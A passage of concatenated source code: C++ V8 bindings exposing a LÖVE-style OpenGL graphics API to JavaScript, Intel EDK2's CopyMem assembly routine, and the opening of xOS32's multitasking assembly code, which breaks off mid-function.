v8::HandleScope handle_scope;
double width = args[0]->NumberValue();
double type = args[1]->NumberValue();
love_opengl::setLine(width,type);
}
return v8::Undefined();
}
/**
* love_opengl::setLineStipple
*/
v8::Handle<v8::Value> JSlove_openglSetLineStipple(const v8::Arguments& args) {
if (args.Length() == 0) {
v8::HandleScope handle_scope;
love_opengl::setLineStipple();
}
if (args.Length() == 1) {
v8::HandleScope handle_scope;
int pattern = args[0]->Int32Value();
love_opengl::setLineStipple(pattern);
}
if (args.Length() == 2) {
v8::HandleScope handle_scope;
int pattern = args[0]->Int32Value();
double repeat = args[1]->NumberValue();
love_opengl::setLineStipple(pattern,repeat);
}
return v8::Undefined();
}
/**
* love_opengl::getLineWidth
*/
v8::Handle<v8::Value> JSlove_openglGetLineWidth(const v8::Arguments& args) {
if (args.Length() == 0) {
v8::HandleScope handle_scope;
int ret = (int)love_opengl::getLineWidth();
return v8::Integer::New(ret);
}
return v8::Undefined();
}
/**
* love_opengl::getLineStyle
*/
v8::Handle<v8::Value> JSlove_openglGetLineStyle(const v8::Arguments& args) {
if (args.Length() == 0) {
v8::HandleScope handle_scope;
int ret = (int)love_opengl::getLineStyle();
return v8::Integer::New(ret);
}
return v8::Undefined();
}
/**
* love_opengl::getLineStipple
*/
v8::Handle<v8::Value> JSlove_openglGetLineStipple(const v8::Arguments& args) {
if (args.Length() == 0) {
v8::HandleScope handle_scope;
LineStipple ret = (LineStipple)love_opengl::getLineStipple();
return JSLineStippleWrap(ret);
}
return v8::Undefined();
}
/**
* love_opengl::setPointSize
*/
v8::Handle<v8::Value> JSlove_openglSetPointSize(const v8::Arguments& args) {
if (args.Length() == 1) {
v8::HandleScope handle_scope;
double size = args[0]->NumberValue();
love_opengl::setPointSize(size);
}
return v8::Undefined();
}
/**
* love_opengl::setPointStyle
*/
v8::Handle<v8::Value> JSlove_openglSetPointStyle(const v8::Arguments& args) {
if (args.Length() == 1) {
v8::HandleScope handle_scope;
double style = args[0]->NumberValue();
love_opengl::setPointStyle(style);
}
return v8::Undefined();
}
/**
* love_opengl::setPoint
*/
v8::Handle<v8::Value> JSlove_openglSetPoint(const v8::Arguments& args) {
if (args.Length() == 2) {
v8::HandleScope handle_scope;
double size = args[0]->NumberValue();
double style = args[1]->NumberValue();
love_opengl::setPoint(size,style);
}
return v8::Undefined();
}
/**
* love_opengl::getPointSize
*/
v8::Handle<v8::Value> JSlove_openglGetPointSize(const v8::Arguments& args) {
if (args.Length() == 0) {
v8::HandleScope handle_scope;
int ret = (int)love_opengl::getPointSize();
return v8::Integer::New(ret);
}
return v8::Undefined();
}
/**
* love_opengl::getPointStyle
*/
v8::Handle<v8::Value> JSlove_openglGetPointStyle(const v8::Arguments& args) {
if (args.Length() == 0) {
v8::HandleScope handle_scope;
int ret = (int)love_opengl::getPointStyle();
return v8::Integer::New(ret);
}
return v8::Undefined();
}
/**
* love_opengl::getMaxPointSize
*/
v8::Handle<v8::Value> JSlove_openglGetMaxPointSize(const v8::Arguments& args) {
if (args.Length() == 0) {
v8::HandleScope handle_scope;
int ret = (int)love_opengl::getMaxPointSize();
return v8::Integer::New(ret);
}
return v8::Undefined();
}
/**
* love_opengl::setBlendMode
*/
v8::Handle<v8::Value> JSlove_openglSetBlendMode(const v8::Arguments& args) {
if (args.Length() == 1) {
v8::HandleScope handle_scope;
double mode = args[0]->NumberValue();
love_opengl::setBlendMode(mode);
}
return v8::Undefined();
}
/**
* love_opengl::setColorMode
*/
v8::Handle<v8::Value> JSlove_openglSetColorMode(const v8::Arguments& args) {
if (args.Length() == 1) {
v8::HandleScope handle_scope;
double mode = args[0]->NumberValue();
love_opengl::setColorMode(mode);
}
return v8::Undefined();
}
/**
* love_opengl::getBlendMode
*/
v8::Handle<v8::Value> JSlove_openglGetBlendMode(const v8::Arguments& args) {
if (args.Length() == 0) {
v8::HandleScope handle_scope;
int ret = (int)love_opengl::getBlendMode();
return v8::Integer::New(ret);
}
return v8::Undefined();
}
/**
* love_opengl::getColorMode
*/
v8::Handle<v8::Value> JSlove_openglGetColorMode(const v8::Arguments& args) {
if (args.Length() == 0) {
v8::HandleScope handle_scope;
int ret = (int)love_opengl::getColorMode();
return v8::Integer::New(ret);
}
return v8::Undefined();
}
/**
* love_opengl::getColor
*/
v8::Handle<v8::Value> JSlove_openglGetColor(const v8::Arguments& args) {
if (args.Length() == 0) {
v8::HandleScope handle_scope;
pColor ret = (pColor)love_opengl::getColor();
return JSpColorWrap(ret);
}
return v8::Undefined();
}
/**
* love_opengl::getBackgroundColor
*/
v8::Handle<v8::Value> JSlove_openglGetBackgroundColor(const v8::Arguments& args) {
if (args.Length() == 0) {
v8::HandleScope handle_scope;
pColor ret = (pColor)love_opengl::getBackgroundColor();
return JSpColorWrap(ret);
}
return v8::Undefined();
}
/**
* love_opengl::getFont
*/
v8::Handle<v8::Value> JSlove_openglGetFont(const v8::Arguments& args) {
if (args.Length() == 0) {
v8::HandleScope handle_scope;
pFont ret = (pFont)love_opengl::getFont();
return JSpFontWrap(ret);
}
return v8::Undefined();
}
/**
* love_opengl::getWidth
*/
v8::Handle<v8::Value> JSlove_openglGetWidth(const v8::Arguments& args) {
if (args.Length() == 0) {
v8::HandleScope handle_scope;
int ret = (int)love_opengl::getWidth();
return v8::Integer::New(ret);
}
return v8::Undefined();
}
/**
* love_opengl::getHeight
*/
v8::Handle<v8::Value> JSlove_openglGetHeight(const v8::Arguments& args) {
if (args.Length() == 0) {
v8::HandleScope handle_scope;
int ret = (int)love_opengl::getHeight();
return v8::Integer::New(ret);
}
return v8::Undefined();
}
/**
* love_opengl::setScissor
*/
v8::Handle<v8::Value> JSlove_openglSetScissor(const v8::Arguments& args) {
if (args.Length() == 4) {
v8::HandleScope handle_scope;
double x = args[0]->NumberValue();
double y = args[1]->NumberValue();
double width = args[2]->NumberValue();
double height = args[3]->NumberValue();
love_opengl::setScissor(x,y,width,height);
}
if (args.Length() == 0) {
v8::HandleScope handle_scope;
love_opengl::setScissor();
}
return v8::Undefined();
}
/**
* love_opengl::getScissor
*/
v8::Handle<v8::Value> JSlove_openglGetScissor(const v8::Arguments& args) {
if (args.Length() == 0) {
v8::HandleScope handle_scope;
Rectf ret = (Rectf)love_opengl::getScissor();
return JSRectfWrap(ret);
}
return v8::Undefined();
}
/**
* love_opengl::drawText
*/
v8::Handle<v8::Value> JSlove_openglDrawText(const v8::Arguments& args) {
if (args.Length() == 3) {
v8::HandleScope handle_scope;
v8::String::Utf8Value _args0(args[0]); char* string = *_args0;
double x = args[1]->NumberValue();
double y = args[2]->NumberValue();
love_opengl::draw(string,x,y);
}
if (args.Length() == 4) {
v8::HandleScope handle_scope;
v8::String::Utf8Value _args0(args[0]); char* string = *_args0;
double x = args[1]->NumberValue();
double y = args[2]->NumberValue();
double angle = args[3]->NumberValue();
love_opengl::draw(string,x,y,angle);
}
if (args.Length() == 5) {
v8::HandleScope handle_scope;
v8::String::Utf8Value _args0(args[0]); char* string = *_args0;
double x = args[1]->NumberValue();
double y = args[2]->NumberValue();
double angle = args[3]->NumberValue();
double s = args[4]->NumberValue();
love_opengl::draw(string,x,y,angle,s);
}
if (args.Length() == 6) {
v8::HandleScope handle_scope;
v8::String::Utf8Value _args0(args[0]); char* string = *_args0;
double x = args[1]->NumberValue();
double y = args[2]->NumberValue();
double angle = args[3]->NumberValue();
double sx = args[4]->NumberValue();
double sy = args[5]->NumberValue();
love_opengl::draw(string,x,y,angle,sx,sy);
}
return v8::Undefined();
}
/**
* love_opengl::drawImage
*/
v8::Handle<v8::Value> JSlove_openglDrawImage(const v8::Arguments& args) {
if (args.Length() == 3) {
v8::HandleScope handle_scope;
pImage sprite = JSpImageUnwrap(args[0]->ToObject());
double x = args[1]->NumberValue();
double y = args[2]->NumberValue();
love_opengl::draw(sprite,x,y);
}
if (args.Length() == 4) {
v8::HandleScope handle_scope;
pImage sprite = JSpImageUnwrap(args[0]->ToObject());
double x = args[1]->NumberValue();
double y = args[2]->NumberValue();
double angle = args[3]->NumberValue();
love_opengl::draw(sprite,x,y,angle);
}
if (args.Length() == 5) {
v8::HandleScope handle_scope;
pImage sprite = JSpImageUnwrap(args[0]->ToObject());
double x = args[1]->NumberValue();
double y = args[2]->NumberValue();
double angle = args[3]->NumberValue();
double s = args[4]->NumberValue();
love_opengl::draw(sprite,x,y,angle,s);
}
if (args.Length() == 6) {
v8::HandleScope handle_scope;
pImage sprite = JSpImageUnwrap(args[0]->ToObject());
double x = args[1]->NumberValue();
double y = args[2]->NumberValue();
double angle = args[3]->NumberValue();
double sx = args[4]->NumberValue();
double sy = args[5]->NumberValue();
love_opengl::draw(sprite,x,y,angle,sx,sy);
}
if (args.Length() == 7) {
v8::HandleScope handle_scope;
pImage image = JSpImageUnwrap(args[0]->ToObject());
double x = args[1]->NumberValue();
double y = args[2]->NumberValue();
double cx = args[3]->NumberValue();
double cy = args[4]->NumberValue();
double w = args[5]->NumberValue();
double h = args[6]->NumberValue();
love_opengl::draws(image,x,y,cx,cy,w,h);
}
if (args.Length() == 8) {
v8::HandleScope handle_scope;
pImage image = JSpImageUnwrap(args[0]->ToObject());
double x = args[1]->NumberValue();
double y = args[2]->NumberValue();
double cx = args[3]->NumberValue();
double cy = args[4]->NumberValue();
double w = args[5]->NumberValue();
double h = args[6]->NumberValue();
double angle = args[7]->NumberValue();
love_opengl::draws(image,x,y,cx,cy,w,h,angle);
}
if (args.Length() == 9) {
v8::HandleScope handle_scope;
pImage image = JSpImageUnwrap(args[0]->ToObject());
double x = args[1]->NumberValue();
double y = args[2]->NumberValue();
double cx = args[3]->NumberValue();
double cy = args[4]->NumberValue();
double w = args[5]->NumberValue();
double h = args[6]->NumberValue();
double angle = args[7]->NumberValue();
double s = args[8]->NumberValue();
love_opengl::draws(image,x,y,cx,cy,w,h,angle,s);
}
if (args.Length() == 10) {
v8::HandleScope handle_scope;
pImage image = JSpImageUnwrap(args[0]->ToObject());
double x = args[1]->NumberValue();
double y = args[2]->NumberValue();
double cx = args[3]->NumberValue();
double cy = args[4]->NumberValue();
double w = args[5]->NumberValue();
double h = args[6]->NumberValue();
double angle = args[7]->NumberValue();
double sx = args[8]->NumberValue();
double sy = args[9]->NumberValue();
love_opengl::draws(image,x,y,cx,cy,w,h,angle,sx,sy);
}
if (args.Length() == 12) {
v8::HandleScope handle_scope;
pImage image = JSpImageUnwrap(args[0]->ToObject());
double x = args[1]->NumberValue();
double y = args[2]->NumberValue();
double cx = args[3]->NumberValue();
double cy = args[4]->NumberValue();
double w = args[5]->NumberValue();
double h = args[6]->NumberValue();
double angle = args[7]->NumberValue();
double sx = args[8]->NumberValue();
double sy = args[9]->NumberValue();
double ox = args[10]->NumberValue();
double oy = args[11]->NumberValue();
love_opengl::draws(image,x,y,cx,cy,w,h,angle,sx,sy,ox,oy);
}
return v8::Undefined();
}
/**
* love_opengl::drawParticleSystem
*/
v8::Handle<v8::Value> JSlove_openglDrawParticleSystem(const v8::Arguments& args) {
if (args.Length() == 3) {
v8::HandleScope handle_scope;
pParticleSystem particles = JSpParticleSystemUnwrap(args[0]->ToObject());
double x = args[1]->NumberValue();
double y = args[2]->NumberValue();
love_opengl::draw(particles,x,y);
}
return v8::Undefined();
}
/**
* love_opengl::drawFormattedText
*/
v8::Handle<v8::Value> JSlove_openglDrawFormattedText(const v8::Arguments& args) {
if (args.Length() == 4) {
v8::HandleScope handle_scope;
v8::String::Utf8Value _args0(args[0]); char* string = *_args0;
double x = args[1]->NumberValue();
double y = args[2]->NumberValue();
int limit = args[3]->Int32Value();
love_opengl::drawf(string,x,y,limit);
}
if (args.Length() == 5) {
v8::HandleScope handle_scope;
v8::String::Utf8Value _args0(args[0]); char* string = *_args0;
double x = args[1]->NumberValue();
double y = args[2]->NumberValue();
int limit = args[3]->Int32Value();
int align = args[4]->Int32Value();
love_opengl::drawf(string,x,y,limit,align);
}
return v8::Undefined();
}
/**
* love_opengl::point
*/
v8::Handle<v8::Value> JSlove_openglPoint(const v8::Arguments& args) {
if (args.Length() == 2) {
v8::HandleScope handle_scope;
double x = args[0]->NumberValue();
double y = args[1]->NumberValue();
love_opengl::point(x,y);
}
return v8::Undefined();
}
/**
* love_opengl::line
*/
v8::Handle<v8::Value> JSlove_openglLine(const v8::Arguments& args) {
if (args.Length() == 4) {
v8::HandleScope handle_scope;
double x1 = args[0]->NumberValue();
double y1 = args[1]->NumberValue();
double x2 = args[2]->NumberValue();
double y2 = args[3]->NumberValue();
love_opengl::line(x1,y1,x2,y2);
}
return v8::Undefined();
}
/**
* love_opengl::triangle
*/
v8::Handle<v8::Value> JSlove_openglTriangle(const v8::Arguments& args) {
if (args.Length() == 7) {
v8::HandleScope handle_scope;
double type = args[0]->NumberValue();
double x1 = args[1]->NumberValue();
double y1 = args[2]->NumberValue();
double x2 = args[3]->NumberValue();
double y2 = args[4]->NumberValue();
double x3 = args[5]->NumberValue();
double y3 = args[6]->NumberValue();
love_opengl::triangle(type,x1,y1,x2,y2,x3,y3);
}
return v8::Undefined();
}
/**
* love_opengl::rectangle
*/
v8::Handle<v8::Value> JSlove_openglRectangle(const v8::Arguments& args) {
if (args.Length() == 5) {
v8::HandleScope handle_scope;
double type = args[0]->NumberValue();
double x = args[1]->NumberValue();
double y = args[2]->NumberValue();
double w = args[3]->NumberValue();
double h = args[4]->NumberValue();
love_opengl::rectangle(type,x,y,w,h);
}
return v8::Undefined();
}
/**
* love_opengl::quad
*/
v8::Handle<v8::Value> JSlove_openglQuad(const v8::Arguments& args) {
if (args.Length() == 9) {
v8::HandleScope handle_scope;
double type = args[0]->NumberValue();
double x1 = args[1]->NumberValue();
double y1 = args[2]->NumberValue();
double x2 = args[3]->NumberValue();
double y2 = args[4]->NumberValue();
double x3 = args[5]->NumberValue();
double y3 = args[6]->NumberValue();
double x4 = args[7]->NumberValue();
double y4 = args[8]->NumberValue();
love_opengl::quad(type,x1,y1,x2,y2,x3,y3,x4,y4);
}
return v8::Undefined();
}
/**
* love_opengl::circle
*/
v8::Handle<v8::Value> JSlove_openglCircle(const v8::Arguments& args) {
if (args.Length() == 4) {
v8::HandleScope handle_scope;
double type = args[0]->NumberValue();
double x = args[1]->NumberValue();
double y = args[2]->NumberValue();
double radius = args[3]->NumberValue();
love_opengl::circle(type,x,y,radius);
}
if (args.Length() == 5) {
v8::HandleScope handle_scope;
double type = args[0]->NumberValue();
double x = args[1]->NumberValue();
double y = args[2]->NumberValue();
double radius = args[3]->NumberValue();
double points = args[4]->NumberValue();
love_opengl::circle(type,x,y,radius,points);
}
return v8::Undefined();
}
/**
* love_opengl::polygon
*/
v8::Handle<v8::Value> JSlove_openglPolygon(const v8::Arguments& args) {
if (args.Length() == 2) {
v8::HandleScope handle_scope;
int type = args[0]->Int32Value();
PointfList points = JSPointfListUnwrap(args[1]->ToObject());
love_opengl::polygon(type,points);
}
return v8::Undefined();
}
/**
* love_opengl::screenshot
*/
v8::Handle<v8::Value> JSlove_openglScreenshot(const v8::Arguments& args) {
if (args.Length() == 1) {
v8::HandleScope handle_scope;
v8::String::Utf8Value _args0(args[0]); char* filename = *_args0;
love_opengl::screenshot(filename);
}
return v8::Undefined();
}
/**
* SetupClass
* Attach methods and properties
*/
void JSlove_openglSetupClass(v8::Handle<v8::ObjectTemplate> js_obj) {
js_obj->Set(v8::String::New("newImage"), v8::FunctionTemplate::New(JSlove_openglNewImage));
js_obj->Set(v8::String::New("newAnimation"), v8::FunctionTemplate::New(JSlove_openglNewAnimation));
js_obj->Set(v8::String::New("newColor"), v8::FunctionTemplate::New(JSlove_openglNewColor));
js_obj->Set(v8::String::New("newFont"), v8::FunctionTemplate::New(JSlove_openglNewFont));
js_obj->Set(v8::String::New("newImageFont"), v8::FunctionTemplate::New(JSlove_openglNewImageFont));
js_obj->Set(v8::String::New("newParticleSystem"), v8::FunctionTemplate::New(JSlove_openglNewParticleSystem));
js_obj->Set(v8::String::New("checkMode"), v8::FunctionTemplate::New(JSlove_openglCheckMode));
js_obj->Set(v8::String::New("setMode"), v8::FunctionTemplate::New(JSlove_openglSetMode));
js_obj->Set(v8::String::New("toggleFullscreen"), v8::FunctionTemplate::New(JSlove_openglToggleFullscreen));
js_obj->Set(v8::String::New("isCreated"), v8::FunctionTemplate::New(JSlove_openglIsCreated));
js_obj->Set(v8::String::New("getModes"), v8::FunctionTemplate::New(JSlove_openglGetModes));
js_obj->Set(v8::String::New("setCaption"), v8::FunctionTemplate::New(JSlove_openglSetCaption));
js_obj->Set(v8::String::New("setColor"), v8::FunctionTemplate::New(JSlove_openglSetColor));
js_obj->Set(v8::String::New("setBackgroundColor"), v8::FunctionTemplate::New(JSlove_openglSetBackgroundColor));
js_obj->Set(v8::String::New("setFont"), v8::FunctionTemplate::New(JSlove_openglSetFont));
js_obj->Set(v8::String::New("setLineWidth"), v8::FunctionTemplate::New(JSlove_openglSetLineWidth));
js_obj->Set(v8::String::New("setLineStyle"), v8::FunctionTemplate::New(JSlove_openglSetLineStyle));
js_obj->Set(v8::String::New("setLine"), v8::FunctionTemplate::New(JSlove_openglSetLine));
js_obj->Set(v8::String::New("setLineStipple"), v8::FunctionTemplate::New(JSlove_openglSetLineStipple));
js_obj->Set(v8::String::New("getLineWidth"), v8::FunctionTemplate::New(JSlove_openglGetLineWidth));
js_obj->Set(v8::String::New("getLineStyle"), v8::FunctionTemplate::New(JSlove_openglGetLineStyle));
js_obj->Set(v8::String::New("getLineStipple"), v8::FunctionTemplate::New(JSlove_openglGetLineStipple));
js_obj->Set(v8::String::New("setPointSize"), v8::FunctionTemplate::New(JSlove_openglSetPointSize));
js_obj->Set(v8::String::New("setPointStyle"), v8::FunctionTemplate::New(JSlove_openglSetPointStyle));
js_obj->Set(v8::String::New("setPoint"), v8::FunctionTemplate::New(JSlove_openglSetPoint));
js_obj->Set(v8::String::New("getPointSize"), v8::FunctionTemplate::New(JSlove_openglGetPointSize));
js_obj->Set(v8::String::New("getPointStyle"), v8::FunctionTemplate::New(JSlove_openglGetPointStyle));
js_obj->Set(v8::String::New("getMaxPointSize"), v8::FunctionTemplate::New(JSlove_openglGetMaxPointSize));
js_obj->Set(v8::String::New("setBlendMode"), v8::FunctionTemplate::New(JSlove_openglSetBlendMode));
js_obj->Set(v8::String::New("setColorMode"), v8::FunctionTemplate::New(JSlove_openglSetColorMode));
js_obj->Set(v8::String::New("getBlendMode"), v8::FunctionTemplate::New(JSlove_openglGetBlendMode));
js_obj->Set(v8::String::New("getColorMode"), v8::FunctionTemplate::New(JSlove_openglGetColorMode));
js_obj->Set(v8::String::New("getColor"), v8::FunctionTemplate::New(JSlove_openglGetColor));
js_obj->Set(v8::String::New("getBackgroundColor"), v8::FunctionTemplate::New(JSlove_openglGetBackgroundColor));
js_obj->Set(v8::String::New("getFont"), v8::FunctionTemplate::New(JSlove_openglGetFont));
js_obj->Set(v8::String::New("getWidth"), v8::FunctionTemplate::New(JSlove_openglGetWidth));
js_obj->Set(v8::String::New("getHeight"), v8::FunctionTemplate::New(JSlove_openglGetHeight));
js_obj->Set(v8::String::New("setScissor"), v8::FunctionTemplate::New(JSlove_openglSetScissor));
js_obj->Set(v8::String::New("getScissor"), v8::FunctionTemplate::New(JSlove_openglGetScissor));
js_obj->Set(v8::String::New("drawText"), v8::FunctionTemplate::New(JSlove_openglDrawText));
js_obj->Set(v8::String::New("drawImage"), v8::FunctionTemplate::New(JSlove_openglDrawImage));
js_obj->Set(v8::String::New("drawParticleSystem"), v8::FunctionTemplate::New(JSlove_openglDrawParticleSystem));
js_obj->Set(v8::String::New("drawFormattedText"), v8::FunctionTemplate::New(JSlove_openglDrawFormattedText));
js_obj->Set(v8::String::New("point"), v8::FunctionTemplate::New(JSlove_openglPoint));
js_obj->Set(v8::String::New("line"), v8::FunctionTemplate::New(JSlove_openglLine));
js_obj->Set(v8::String::New("triangle"), v8::FunctionTemplate::New(JSlove_openglTriangle));
js_obj->Set(v8::String::New("rectangle"), v8::FunctionTemplate::New(JSlove_openglRectangle));
js_obj->Set(v8::String::New("quad"), v8::FunctionTemplate::New(JSlove_openglQuad));
js_obj->Set(v8::String::New("circle"), v8::FunctionTemplate::New(JSlove_openglCircle));
js_obj->Set(v8::String::New("polygon"), v8::FunctionTemplate::New(JSlove_openglPolygon));
js_obj->Set(v8::String::New("screenshot"), v8::FunctionTemplate::New(JSlove_openglScreenshot));
}
/**
* CreateClass
* Creates a JS object
*/
v8::Handle<v8::ObjectTemplate> JSlove_openglCreateClass() {
v8::Handle<v8::FunctionTemplate> js_func = v8::FunctionTemplate::New();
js_func->SetClassName(v8::String::New("graphics"));
v8::Handle<v8::ObjectTemplate> js_obj = js_func->InstanceTemplate();
JSlove_openglSetupClass(js_obj);
return js_obj;
}
/**
* Wrap
* Wraps a c struct into a JS object
*/
v8::Handle<v8::Value> JSPointfWrap(Pointf cobj) {
v8::Handle<v8::Object> obj = v8::Object::New();
obj->Set(v8::String::New("x"),v8::Number::New(cobj.x), v8::ReadOnly);
obj->Set(v8::String::New("y"),v8::Number::New(cobj.y), v8::ReadOnly);
return obj;
}
/**
* Unwrap
* Unwrap a JS object int a cpp class
*/
Pointf JSPointfUnwrap(v8::Handle<v8::Value> value) {
if (value->ToObject()->InternalFieldCount())
value = value->ToObject()->GetInternalField(0);
Pointf cobj;
if (value->IsObject()) {
v8::Handle<v8::Object> obj = value->ToObject();
cobj.x = obj->Get(v8::String::New("x"))->NumberValue();
cobj.y = obj->Get(v8::String::New("y"))->NumberValue();
}
return cobj;
}
/**
* Wrap
* Wraps a c struct into a JS object
*/
v8::Handle<v8::Value> JSPointfListWrap(PointfList cobj) {
v8::Handle<v8::Array> obj = v8::Array::New();
for(int i = 0; i<cobj.length(); i++) {
obj->Set(v8::Integer::New(i), JSPointfWrap(cobj.at(i)));
}
return obj;
}
/**
* Unwrap
* Unwrap a JS object int a cpp class
*/
PointfList JSPointfListUnwrap(v8::Handle<v8::Value> value) {
if (value->ToObject()->InternalFieldCount())
value = value->ToObject()->GetInternalField(0);
PointfList cobj;
cobj.init(0, 0);
if (value->IsArray()) {
v8::Handle<v8::Array> arr = v8::Handle<v8::Array>::Cast(value);
if (arr->Length()) {
cobj.init(new Pointf[arr->Length()],arr->Length());
for(int i = 0; i<cobj.count; i++) {
cobj.items[i] = JSPointfUnwrap(arr->Get(v8::Integer::New(i)));
}
}
}
return cobj;
}
/**
* Wrap
* Wraps a c struct into a JS object
*/
v8::Handle<v8::Value> JSRectfWrap(Rectf cobj) {
v8::Handle<v8::Object> obj = v8::Object::New();
obj->Set(v8::String::New("x"),v8::Number::New(cobj.x), v8::ReadOnly);
obj->Set(v8::String::New("y"),v8::Number::New(cobj.y), v8::ReadOnly);
obj->Set(v8::String::New("w"),v8::Number::New(cobj.w), v8::ReadOnly);
obj->Set(v8::String::New("h"),v8::Number::New(cobj.h), v8::ReadOnly);
return obj;
}
/**
* Unwrap
* Unwrap a JS object int a cpp class
*/
Rectf JSRectfUnwrap(v8::Handle<v8::Value> value) {
if (value->ToObject()->InternalFieldCount())
value = value->ToObject()->GetInternalField(0);
Rectf cobj;
if (value->IsObject()) {
v8::Handle<v8::Object> obj = value->ToObject();
cobj.x = obj->Get(v8::String::New("x"))->NumberValue();
cobj.y = obj->Get(v8::String::New("y"))->NumberValue();
cobj.w = obj->Get(v8::String::New("w"))->NumberValue();
cobj.h = obj->Get(v8::String::New("h"))->NumberValue();
}
return cobj;
}
/**
* Wrap
* Wraps a c struct into a JS object
*/
v8::Handle<v8::Value> JSLineStippleWrap(LineStipple cobj) {
v8::Handle<v8::Object> obj = v8::Object::New();
obj->Set(v8::String::New("pattern"),v8::Integer::New(cobj.pattern), v8::ReadOnly);
obj->Set(v8::String::New("factor"),v8::Integer::New(cobj.factor), v8::ReadOnly);
return obj;
}
/**
* Unwrap
* Unwrap a JS object int a cpp class
*/
LineStipple JSLineStippleUnwrap(v8::Handle<v8::Value> value) {
if (value->ToObject()->InternalFieldCount())
value = value->ToObject()->GetInternalField(0);
LineStipple cobj;
if (value->IsObject()) {
v8::Handle<v8::Object> obj = value->ToObject();
cobj.pattern = obj->Get(v8::String::New("pattern"))->Int32Value();
cobj.factor = obj->Get(v8::String::New("factor"))->Int32Value();
}
return cobj;
}
/**
* Wrap
* Wraps a c struct into a JS object
*/
v8::Handle<v8::Value> JSDisplayModeWrap(DisplayMode cobj) {
v8::Handle<v8::Object> obj = v8::Object::New();
obj->Set(v8::String::New("width"),v8::Integer::New(cobj.width), v8::ReadOnly);
obj->Set(v8::String::New("height"),v8::Integer::New(cobj.height), v8::ReadOnly);
return obj;
}
/**
* Unwrap
* Unwrap a JS object int a cpp class
*/
DisplayMode JSDisplayModeUnwrap(v8::Handle<v8::Value> value) {
if (value->ToObject()->InternalFieldCount())
value = value->ToObject()->GetInternalField(0);
DisplayMode cobj;
if (value->IsObject()) {
v8::Handle<v8::Object> obj = value->ToObject();
cobj.width = obj->Get(v8::String::New("width"))->Int32Value();
cobj.height = obj->Get(v8::String::New("height"))->Int32Value();
}
return cobj;
}
/**
* Wrap
* Wraps a c struct into a JS object
*/
v8::Handle<v8::Value> JSDisplayModeListWrap(DisplayModeList cobj) {
v8::Handle<v8::Array> obj = v8::Array::New();
for(int i = 0; i<cobj.length(); i++) {
obj->Set(v8::Integer::New(i), JSDisplayModeWrap(cobj.at(i)));
}
return obj;
}
/**
* Unwrap
* Unwrap a JS object int a cpp class
*/
DisplayModeList JSDisplayModeListUnwrap(v8::Handle<v8::Value> value) {
if (value->ToObject()->InternalFieldCount())
value = value->ToObject()->GetInternalField(0);
DisplayModeList cobj;
cobj.init(0, 0);
if (value->IsArray()) {
v8::Handle<v8::Array> arr = v8::Handle<v8::Array>::Cast(value);
if (arr->Length()) {
cobj.init(new DisplayMode[arr->Length()],arr->Length());
for(int i = 0; i<cobj.count; i++) {
cobj.items[i] = JSDisplayModeUnwrap(arr->Get(v8::Integer::New(i)));
}
}
}
return cobj;
}
|
;------------------------------------------------------------------------------
;
; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR>
; SPDX-License-Identifier: BSD-2-Clause-Patent
;
; Module Name:
;
; CopyMem.nasm
;
; Abstract:
;
; CopyMem function
;
; Notes:
;
;------------------------------------------------------------------------------
SECTION .text
;------------------------------------------------------------------------------
; VOID *
; EFIAPI
; InternalMemCopyMem (
; IN VOID *Destination,
; IN VOID *Source,
; IN UINTN Count
; );
;------------------------------------------------------------------------------
global ASM_PFX(InternalMemCopyMem)
ASM_PFX(InternalMemCopyMem):
push esi
push edi
mov esi, [esp + 16] ; esi <- Source
mov edi, [esp + 12] ; edi <- Destination
mov edx, [esp + 20] ; edx <- Count
lea eax, [esi + edx - 1] ; eax <- End of Source
cmp esi, edi
jae .0
cmp eax, edi ; Overlapped?
jae @CopyBackward ; Copy backward if overlapped
.0:
mov ecx, edx
and edx, 7
shr ecx, 3 ; ecx <- # of Qwords to copy
jz @CopyBytes
push eax
push eax
movq [esp], mm0 ; save mm0
.1:
movq mm0, [esi]
movq [edi], mm0
add esi, 8
add edi, 8
loop .1
movq mm0, [esp] ; restore mm0
pop ecx ; stack cleanup
pop ecx ; stack cleanup
jmp @CopyBytes
@CopyBackward:
mov esi, eax ; esi <- Last byte in Source
lea edi, [edi + edx - 1] ; edi <- Last byte in Destination
std
@CopyBytes:
mov ecx, edx
rep movsb
cld
mov eax, [esp + 12]
pop edi
pop esi
ret
|
;; xOS32
;; Copyright (C) 2016-2017 by Omar Mohammad.
use32
;
; struct task {
; u16 state; // 00
; u16 parent; // 02
; u32 eip; // 04
; u32 esp; // 08
; u32 eflags; // 0C
; u32 pmem_base; // 10
; u32 mem_size; // 14
; u32 reserved1; // 18
; u32 reserved2; // 1C
; u8 filename[32]; // 20
; u8 path[120]; // 40
; };
;
;
; sizeof(task) = 64;
;
TASK_STATE = 0x00
TASK_PARENT = 0x02
TASK_EIP = 0x04
TASK_ESP = 0x08
TASK_EFLAGS = 0x0C
TASK_PMEM_BASE = 0x10
TASK_MEM_SIZE = 0x14
TASK_RESERVED1 = 0x18
TASK_RESERVED2 = 0x1C
TASK_FILENAME = 0x20
TASK_SIZE = 0x100
; Task State Flags
TASK_PRESENT = 0x0001
TASK_SLEEPING = 0x0002
; Stack Frame for IRET
IRET_EIP = 0x0000
IRET_CS = 0x0004
IRET_EFLAGS = 0x0008
IRET_ESP = 0x000C
IRET_SS = 0x0010
; Default Stack Size of a Task
TASK_STACK = 65536 ; 64 KB
; Load Address of a Task
TASK_LOAD_ADDR = 0x8000000 ; 128 MB
MAXIMUM_TASKS = 256 ; probably expand this in the future?
; Program Header
PROGRAM_SIGNATURE = 0x00
PROGRAM_TYPE = 0x04
PROGRAM_ENTRY = 0x08
; Program Type Values
PROGRAM_FILE = 0x00
DRIVER_FILE = 0x01
align 2
running_tasks dw 0
current_task dw 0
align 8
task_structure dd 0
idle_time dd 0
nonidle_time dd 0
; tasking_init:
; Initializes the multitasking subsystem
tasking_init:
mov esi, .msg
call kprint
mov ecx, MAXIMUM_TASKS*TASK_SIZE
call kmalloc
mov [task_structure], eax
; mark the first task (PID 0) as present
; this prevents user applications from taking PID 0
; PID 0 really is the Idle task, which just Halts the CPU in an infinite loop
mov word[eax], TASK_PRESENT
mov edi, eax
add edi, TASK_FILENAME
mov esi, .idle_task_name
call strlen
mov ecx, eax
rep movsb
xor al, al
stosb
mov [running_tasks], 1
mov [current_task], 0
ret
.msg db "Initialize multitasking...",10,0
.idle_task_name db "System Idle Task",0
; get_free_task:
; Finds a free task
; In\ Nothing
; Out\ EAX = PID of free task, -1 on error
get_free_task:
mov [.pid], 1
cmp [running_tasks], MAXIMUM_TASKS
jge .no
.loop:
cmp [.pid], MAXIMUM_TASKS
jge .no
mov eax, [.pid]
